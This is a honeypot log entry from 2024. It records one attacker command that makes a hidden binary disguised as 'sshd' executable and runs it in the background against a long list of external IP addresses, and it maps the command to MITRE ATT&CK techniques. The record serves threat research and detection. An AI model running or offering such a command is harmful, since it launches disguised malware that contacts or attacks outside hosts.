Honeypot attack session (period 2024), commands issued:
chmod +x ./.7729801272453986350/sshd;nohup ./.7729801272453986350/sshd 36.103.178.190 195.133.46.73 188.92.28.249 140.246.77.210 59.47.5.34 91.107.132.233 104.248.63.189 174.44.108.59 115.238.185.62 14.116.213.236 120.71.147.193 154.126.176.254 170.130.220.2 37.60.241.18 158.51.96.38 117.161.138.2 39.105.61.38 111.67.195.36 74.48.217.202 45.85.88.2 111.180.193.157 51.159.17.182 101.89.177.169 183.134.74.142 5.42.73.122 117.161.233.102 178.253.40.4 115.239.255.13 195.154.163.212 183.221.214.95 107.158.225.94 181.113.114.115 125.124.179.148 113.250.163.226 186.233.119.15 154.12.187.10 172.245.79.216 185.124.108.182 183.252.11.28 27.128.245.170 106.74.27.165 124.118.249.114 222.77.96.50 79.120.74.12 208.65.84.165 208.65.84.108 125.124.199.57 213.171.4.60 109.120.135.182 186.233.119.218 180.76.97.38 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter